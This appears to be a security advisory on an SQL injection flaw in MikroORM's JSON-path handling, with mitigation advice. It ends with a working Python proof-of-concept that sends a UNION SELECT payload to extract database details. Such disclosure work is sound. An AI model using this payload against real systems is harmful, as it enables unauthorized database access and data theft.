Overview
The recently identified vulnerability in MikroORM version 7.0.13, tracked as CVE-2026-44680, exposes applications using this Object-Relational Mapping (ORM) library to SQL Injection attacks. This critical flaw allows malicious actors to execute arbitrary SQL queries, potentially compromising the integrity and confidentiality of the database.
Technical Details
The SQL Injection vulnerability arises from improper input validation within the MikroORM query builder. When user input is not correctly sanitized, an attacker can manipulate SQL queries by injecting malicious SQL code through parameters. For instance, if an application uses a vulnerable MikroORM function to construct a query without adequate parameterization, an attacker could craft input such as ‘ OR ‘1’=’1′ to bypass authentication or retrieve sensitive data.
This flaw is particularly concerning in scenarios where the ORM is used in web applications that handle user authentication or data retrieval. An example includes an e-commerce platform where an attacker could exploit this vulnerability to gain unauthorized access to user accounts or extract credit card information directly from the database.
Impact
The potential consequences of exploiting CVE-2026-44680 are severe. Successful exploitation could lead to unauthorized data access, data manipulation, and even complete database compromise. For organizations, this translates to financial loss, reputational damage, and potential legal ramifications due to data breaches or non-compliance with data protection regulations.
Mitigation
To protect against this vulnerability, organizations should immediately upgrade to MikroORM version 7.0.14 or later, where the issue has been addressed. Additionally, implementing robust input validation and parameterized queries is essential to safeguard against SQL Injection attacks. Security professionals should conduct regular code reviews and penetration testing to identify potential vulnerabilities in their applications.
Furthermore, employing Web Application Firewalls (WAF) can provide an additional layer of security by filtering and monitoring HTTP requests for malicious payloads. Continuous education and training for developers on secure coding practices will also significantly reduce the risk of introducing similar vulnerabilities in the future.
Proof of Concept (PoC)
# Exploit Title: MikroORM 7.0.13 - SQL Injection
# Google Dork: N/A
# Date: 2026-05-27
# Exploit Author: cardosource
# Vendor Homepage: https://mikro-orm.io/
# Software Link: https://github.com/mikro-orm/mikro-orm
# Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13
# Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x
# CVE: CVE-2026-44680
# Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
"""
Description:
The vulnerability exists because MikroORM fails to properly escape
runtime-controlled JSON path keys when building JSON_EXTRACT queries.
The attacker can break out of the JSON path context and inject arbitrary SQL.
Affected API pattern:
em.find(Entity, {
jsonColumn: {
[userControlledKey]: value
}
})
By injecting crafted JSON-path keys, it becomes possible to execute
UNION SELECT statements and extract arbitrary database information.
"""
import requests
import json
url = "http://localhost:3000/api/users/search"
payload = {
"filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
"filterValue": "x"
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, json=payload, headers=headers)
print(f"Status: {response.status_code}")
print(json.dumps(response.json(), indent=2))